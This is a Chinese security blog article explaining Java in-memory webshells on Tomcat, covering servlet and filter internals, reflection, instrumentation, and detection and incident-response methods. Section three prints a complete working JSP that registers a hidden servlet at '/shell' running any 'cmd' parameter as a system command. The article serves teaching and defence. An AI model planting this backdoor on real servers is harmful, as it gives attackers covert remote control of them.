<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    一文看懂內存馬

    VSole2022-01-02 22:31:21

    一、內存馬簡介

    1.1 webshell變遷

    webshell的變遷過程大致如下所述:

    web服務器管理頁面——> 大馬——>小馬拉大馬——>一句話木馬——>加密一句話木馬——>加密內存馬

    內存馬是無文件攻擊的一種常用手段,隨著攻防演練熱度越來越高:攻防雙方的博弈,流量分析、EDR等專業安全設備被藍方廣泛使用,傳統的文件上傳的webshll或以文件形式駐留的后門越來越容易被檢測到,內存馬使用越來越多。

    Webshell內存馬,是在內存中寫入惡意后門和木馬并執行,達到遠程控制Web服務器的一類內存馬,其瞄準了企業的對外窗口:網站、應用。但傳統的Webshell都是基于文件類型的,黑客可以利用上傳工具或網站漏洞植入木馬,區別在于Webshell內存馬是無文件馬,利用中間件的進程執行某些惡意代碼,不會有文件落地,給檢測帶來巨大難度。

    1.2 如何實現webshell內存馬

    目標:訪問任意url或者指定url,帶上命令執行參數,即可讓服務器返回命令執行結果

    實現:以java為例,客戶端發起的web請求會依次經過Listener、Filter、Servlet三個組件,我們只要在這個請求的過程中做手腳,在內存中修改已有的組件或者動態注冊一個新的組件,插入惡意的shellcode,就可以達到我們的目的。

    1.3 內存馬類型

    根據內存馬注入的方式,大致可以將內存馬劃分為如下兩類

    1.servlet-api型
    通過命令執行等方式動態注冊一個新的listener、filter或者servlet,從而實現命令執行等功能。特定框架、容器的內存馬原理與此類似,如spring的controller內存馬,tomcat的valve內存馬
    2.字節碼增強型
    通過java的instrumentation動態修改已有代碼,進而實現命令執行等功能。

    二、背景知識

    2.1 Java web三大件

    2.1.1 Servlet

    1.什么是servlet

    Servlet 是運行在 Web 服務器或應用服務器上的程序,它是作為來自 HTTP 客戶端的請求和 HTTP 服務器上的數據庫或應用程序之間的中間層。它負責處理用戶的請求,并根據請求生成相應的返回信息提供給用戶。

    2.請求的處理過程

    客戶端發起一個http請求,比如get類型。

    Servlet容器接收到請求,根據請求信息,封裝成HttpServletRequest和HttpServletResponse對象。

    Servlet容器調用HttpServlet的init()方法,init方法只在第一次請求的時候被調用。

    Servlet容器調用service()方法。

    service()方法根據請求類型,這里是get類型,分別調用doGet或者doPost方法,這里調用doGet方法。

    doXXX方法中是我們自己寫的業務邏輯。

    業務邏輯處理完成之后,返回給Servlet容器,然后容器將結果返回給客戶端。

    容器關閉時候,會調用destory方法

    3.servlet生命周期

    1)服務器啟動時(web.xml中配置load-on-startup=1,默認為0)或者第一次請求該servlet時,就會初始化一個Servlet對象,也就是會執行初始化方法init(ServletConfig conf)。

    2)servlet對象去處理所有客戶端請求,在service(ServletRequest req,ServletResponse res)方法中執行

    3)服務器關閉時,銷毀這個servlet對象,執行destroy()方法。

    4)由JVM進行垃圾回收。

    2.1.2 Filter

    簡介

    filter也稱之為過濾器,是對Servlet技術的一個強補充,其主要功能是在HttpServletRequest到達 Servlet 之前,攔截客戶的HttpServletRequest ,根據需要檢查HttpServletRequest,也可以修改HttpServletRequest 頭和數據;在HttpServletResponse到達客戶端之前,攔截HttpServletResponse ,根據需要檢查HttpServletResponse,也可以修改HttpServletResponse頭和數據。

    基本工作原理

    1、Filter 程序是一個實現了特殊接口的 Java 類,與 Servlet 類似,也是由 Servlet 容器進行調用和執行的。

    2、當在 web.xml 注冊了一個 Filter 來對某個 Servlet 程序進行攔截處理時,它可以決定是否將請求繼續傳遞給 Servlet 程序,以及對請求和響應消息是否進行修改。

    3、當 Servlet 容器開始調用某個 Servlet 程序時,如果發現已經注冊了一個 Filter 程序來對該 Servlet 進行攔截,那么容器不再直接調用 Servlet 的 service 方法,而是調用 Filter 的 doFilter 方法,再由 doFilter 方法決定是否去激活 service 方法。

    4、但在 Filter.doFilter 方法中不能直接調用 Servlet 的 service 方法,而是調用 FilterChain.doFilter 方法來激活目標 Servlet 的 service 方法,FilterChain 對象時通過 Filter.doFilter 方法的參數傳遞進來的。

    5、只要在 Filter.doFilter 方法中調用 FilterChain.doFilter 方法的語句前后增加某些程序代碼,這樣就可以在 Servlet 進行響應前后實現某些特殊功能。

    6、如果在 Filter.doFilter 方法中沒有調用 FilterChain.doFilter 方法,則目標 Servlet 的 service 方法不會被執行,這樣通過 Filter 就可以阻止某些非法的訪問請求。

    filter的生命周期

    與servlet一樣,Filter的創建和銷毀也由web容器負責。web 應用程序啟動時,web 服務器將創建Filter 的實例對象,并調用其init方法,讀取web.xml配置,完成對象的初始化功能,從而為后續的用戶請求作好攔截的準備工作(filter對象只會創建一次,init方法也只會執行一次)。開發人員通過init方法的參數,可獲得代表當前filter配置信息的FilterConfig對象。

    Filter對象創建后會駐留在內存,當web應用移除或服務器停止時才銷毀。在Web容器卸載 Filter 對象之前被調用。該方法在Filter的生命周期中僅執行一次。在這個方法中,可以釋放過濾器使用的資源。

    filter鏈

    當多個filter同時存在的時候,組成了filter鏈。web服務器根據Filter在web.xml文件中的注冊順序,決定先調用哪個Filter。當第一個Filter的doFilter方法被調用時,web服務器會創建一個代表Filter鏈的FilterChain對象傳遞給該方法,通過判斷FilterChain中是否還有filter決定后面是否還調用filter。

    2.1.3 Listener

    簡介

    JavaWeb開發中的監聽器(Listener)就是Application、Session和Request三大對象創建、銷毀或者往其中添加、修改、刪除屬性時自動執行代碼的功能組件。

    ServletContextListener:對Servlet上下文的創建和銷毀進行監聽;

    ServletContextAttributeListener:監聽Servlet上下文屬性的添加、刪除和替換;

    HttpSessionListener:對Session的創建和銷毀進行監聽。Session的銷毀有兩種情況,一個中Session超時,還有一種是通過調用Session對象的invalidate()方法使session失效。

    HttpSessionAttributeListener:對Session對象中屬性的添加、刪除和替換進行監聽;

    ServletRequestListener:對請求對象的初始化和銷毀進行監聽;

    ServletRequestAttributeListener:對請求對象屬性的添加、刪除和替換進行監聽。

    用途

    可以使用監聽器監聽客戶端的請求、服務端的操作等。通過監聽器,可以自動出發一些動作,比如監聽在線的用戶數量,統計網站訪問量、網站訪問監控等。

    2.2Tomcat

    2.2.1簡介

    簡單理解,tomcat是http服務器+servlet容器。

    Tomcat 作為Servlet容器,將http請求文本接收并解析,然后封裝成HttpServletRequest類型的request對象,傳遞給servlet;同時會將響應的信息封裝為HttpServletResponse類型的response對象,然后將response交給tomcat,tomcat就會將其變成響應文本的格式發送給瀏覽器。

    2.2.2Tomcat架構設計

    前面提到過,Tomcat 的本質其實就是一個 WEB 服務器 + 一個 Servlet 容器,那么它必然需要處理網絡的連接與 Servlet 的管理,因此,Tomcat 設計了兩個核心組件來實現這兩個功能,分別是連接器和容器,連接器用來處理外部網絡連接,容器用來處理內部 Servlet,我用一張圖來表示它們的關系:

    一個 Tomcat 代表一個 Server 服務器,一個 Server 服務器可以包含多個 Service 服務,Tomcat 默認的 Service 服務是 Catalina,而一個 Service 服務可以包含多個連接器,因為 Tomcat 支持多種網絡協議,包括 HTTP/1.1、HTTP/2、AJP 等等,一個 Service 服務還會包括一個容器,容器外部會有一層 Engine 引擎所包裹,負責與處理連接器的請求與響應,連接器與容器之間通過 ServletRequest 和 ServletResponse 對象進行交流。

    一個engine可以對一個多個host,也就是虛擬主機,一個host可以對應多個context,也就是web應用,一個context對應多個wrapper,也就是servlet。這個映射關系,通過mapper組件來關聯,mapper組件保存了Web應用的配置信息,容器組件與訪問路徑的映射關系。Host容器的域名,Context容器中的web路徑,Wrapper容器中的servlet映射的路徑,這些配置信息是多層次的Map。根據請求定位到指定servlet的流程圖如下:

    2.3 其他java背景知識

    2.3.1 java反射

    反射提供的功能,能在運行時(動態)的

    1.獲取一個類的所有成員變量和方法

    2.創建一個類的對象

    a.獲取對象成員變量&賦值
    b.調用對象的方法
    c.判斷對象所屬的類

    在注入內存馬的過程當中,我們可能需要用到反射機制,例如注入一個servlet型的內存馬,我們需要使用反射機制來獲取當前的context,然后將惡意的servlet(wrapper)添加到當前的context的children中。

    在使用Java反射機制時,主要步驟包括:

    ①獲取 目標類型的Class對象

    ②通過 Class 對象分別獲取Constructor類對象、Method類對象 & Field 類對象

    ③通過 Constructor類對象、Method類對象 & Field類對象分別獲取類的構造函數、方法&屬性的具體信息,并進行后續操作

    2.3.2 java instrumentation

    Instrumentation是Java提供的一個來自JVM的接口,該接口提供了一系列查看和操作Java類定義的方法,例如修改類的字節碼、向classLoader的classpath下加入jar文件等。使得開發者可以通過Java語言來操作和監控JVM內部的一些狀態,進而實現Java程序的監控分析,甚至實現一些特殊功能(如AOP、熱部署)。

    Java agent是一種特殊的Java程序(Jar文件),它是Instrumentation的客戶端。與普通Java程序通過main方法啟動不同,agent并不是一個可以單獨啟動的程序,而必須依附在一個Java應用程序(JVM)上,與它運行在同一個進程中,通過Instrumentation API與虛擬機交互。

    在注入內存馬的過程中,我們可以利用java instrumentation機制,動態的修改已加載到內存中的類里的方法,進而注入惡意的代碼。

    三、內存馬實現

    這里我們以tomcat的servletAPI型內存馬為例講一下內存馬的實現。下面的代碼先是創建了一個惡意的servlet,然后獲取當前的StandardContext,然后將惡意servlet封裝成wrapper添加到StandardContext的children當中,最后添加ServletMapping將訪問的URL和wrapper進行綁定。

    <%@ page import="java.io.IOException" %>
    <%@ page import="java.io.InputStream" %>
    <%@ page import="java.util.Scanner" %>
    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="java.io.PrintWriter" %>
    <%
        // 創建惡意Servlet
        Servlet servlet = new Servlet() {
            @Override
            public void init(ServletConfig servletConfig) throws ServletException {
            }
            @Override
            public ServletConfig getServletConfig() {
                return null;
            }
            @Override
            public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
                String cmd = servletRequest.getParameter("cmd");
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                PrintWriter out = servletResponse.getWriter();
                out.println(output);
                out.flush();
                out.close();
            }
            @Override
            public String getServletInfo() {
                return null;
            }
            @Override
            public void destroy() {
            }
        };
        %>
    <%
        // 獲取StandardContext
        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
        // 用Wrapper對其進行封裝
        org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
        newWrapper.setName("jweny");
        newWrapper.setLoadOnStartup(1);
        newWrapper.setServlet(servlet);
        newWrapper.setServletClass(servlet.getClass().getName());
        // 添加封裝后的惡意Wrapper到StandardContext的children當中
        standardCtx.addChild(newWrapper);
        // 添加ServletMapping將訪問的URL和Servlet進行綁定
        standardCtx.addServletMapping("/shell","jweny");
    %>
    

    執行上述代碼后,訪問當前應用的/shell路徑,加上cmd參數就可以命令執行了。使用新增servlet的方式就需要綁定指定的URL。如果我們想要更加隱蔽,做到內存馬與URL無關,無論這個url是原生servlet還是某個struts action,甚至無論這個url是否真的存在,只要我們的請求傳遞給tomcat,tomcat就能相應我們的指令,那就得通過注入新的或修改已有的filter或者listener的方式來實現了。比如早期rebeyond師傅開發的memshell,就是通過修改org.apache.catalina.core.ApplicationFilterChain類的internalDoFilter方法來實現的,后期冰蝎最新版本的內存馬為了實現更好的兼容性,選擇hook javax.servlet.http.HttpServlet#service 函數,在weblogic選擇hook weblogic.servlet.internal.ServletStubImpl#execute 函數。

    四、內存馬檢測與排查

    4.1源碼檢測

    在java中,只有被JVM加載后的類才能被調用,或者在需要時通過反射通知JVM加載。所以特征都在內存中,表現形式為被加載的class。需要通過某種方法獲取到JVM的運行時內存中已加載的類, Java本身提供了Instrumentation類來實現運行時注入代碼并執行,因此產生一個檢測思路:注入jar包-> dump已加載class字節碼->反編譯成java代碼-> 源碼webshell檢測。

    這樣檢測比較消耗性能,我們可以縮小需要進行源碼檢測的類的范圍,通過如下的篩選條件組合使用篩選類進行檢測:

    ①新增的或修改的;

    ②沒有對應class文件的

    ③xml配置中沒注冊的

    ④冰蝎等常見工具使用的

    ⑤filterchain中排第一的filter類

    還有一些比較弱的特征可以用來輔助檢測,比如類名稱中包含shell或者為隨機名,使用不常見的classloader加載的類等等。

    另外,有一些工具可以輔助檢測內存馬,如java-memshell-scanner是通過jsp掃描應用中所有的filter和servlet,然后通過名稱、對應的class是否存在來判斷是否是內存馬

    4.2 內存馬排查

    如果我們通過檢測工具或者其他手段發現了一些內存webshell的痕跡,需要有一個排查的思路來進行跟蹤分析,也是根據各類型的原理,列出一個排查思路。

    如果是jsp注入,日志中排查可疑jsp的訪問請求。
    如果是代碼執行漏洞,排查中間件的error.log,查看是否有可疑的報錯,判斷注入時間和方法
    根據業務使用的組件排查是否可能存在java代碼執行漏洞以及是否存在過webshell,排查框架漏洞,反序列化漏洞。
    如果是servlet或者spring的controller類型,根據上報的webshell的url查找日志(日志可能被關閉,不一定有),根據url最早訪問時間確定被注入時間。
    如果是filter或者listener類型,可能會有較多的404但是帶有參數的請求,或者大量請求不同url但帶有相同的參數,或者頁面并不存在但返回200

    webshellservlet
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    部分getshell漏洞匯總
    2022-07-20 10:12:45
    即可未授權訪問console后臺,但是權限比較低備注:此處會出現個問題,在復現的環境中直接拼接
    filter是javaweb中的過濾器,會對客戶端發送的請求進行過濾并做一些操作,我們可以在filter中寫入命令執行的惡意文件,讓客戶端發來的請求通過它來做命令執行。 而filter內存馬是通過動態注冊一個惡意filter,由于是動態注冊的,所以這個filter沒有文件實體,存在于內存中,隨著tomcat重啟而消失。 一般我們把這個filter放在所有filter最前面優先執行,這樣我們的請
    0x01 背景 在內存馬橫行的當下,藍隊or應急的師傅如何能快速判斷哪些Filter/Servlet是內存馬,分析內存馬的行為功能是什么?考慮到Agent技術針對紅隊來說比較重,我們這次使用jsp技術來解決以上問題。
    Webshell檢測方法
    2022-01-04 10:33:05
    Webshell作為一種web后門,通常由攻擊者通過常見的Web網站漏洞,如sql注入、文件包含和上傳等,上傳到服務器,從而為攻擊者提供與服務器端進行交互的能力。
    查看tomcat中間件的\work\Catalina\localhost_\org\apache\jsp 目錄,仍然是可以發現這個shell的編譯過程中產生的幾個文件的,這3個文件攻擊者一般不會刪除,也不會更改文件的時間屬性。
    我們知道,當我們訪問jsp文件時,Java環境會先將jsp文件轉換成.class字節碼文件,再由Java虛擬機進行加載,這導致了Java服務器上會生成對應名稱的.class字節碼文件。對于webshell,這會留下痕跡。 為了實現自刪除.class字節碼文件,我們可以通過反射獲得.class字節碼文件的路徑,再進行刪除。本文將以Zimbra環境為例,結合AntSword-JSP-Template
    JSP Webshell的檢測工具
    2021-12-13 12:04:53
    在11月初,我做了一些JSP Webshell的免殺研究,主要參考了三夢師傅開源的代碼。然后加入了一些代碼混淆手段,編寫了一個免殺馬生成器JSPHorse,沒想到在Github上已收獲500+的Star
    JSP內存馬研究
    2021-10-16 07:49:21
    最近在研究webshell免殺的問題,到了內存馬免殺部分發現傳統的Filter或者Servlet查殺手段比較多,不太容易實現免殺,比如有些工具會將所有注冊的Servlet和Filter拿出來,排查人員仔細一點還是會被查出來的,所以 我們要找一些其他方式實現的內存馬。比如我今天提到的JSP的內存馬(雖然本質上也是一種Servlet類型的馬) 。
    Eclipse Jetty是一個Java Web 服務器和Java Servlet容器。雖然 Web 服務器通常與向人們提供文檔相關聯,但 Jetty 現在通常用于機器對機器的通信,通常在更大的軟件框架內。Jetty 是作為Eclipse Foundation的一部分開發的免費和開源項目。Web 服務器用于Apache ActiveMQ、Alfresco、Scalatra、Apache Geron
    一文看懂內存馬
    2022-01-02 22:31:21
    它負責處理用戶的請求,并根據請求生成相應的返回信息提供給用戶。業務邏輯處理完成之后,返回給Servlet容器,然后容器將結果返回給客戶端。Filter對象創建后會駐留在內存,當web應用移除或服務器停止時才銷毀。該方法在Filter的生命周期中僅執行一次。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类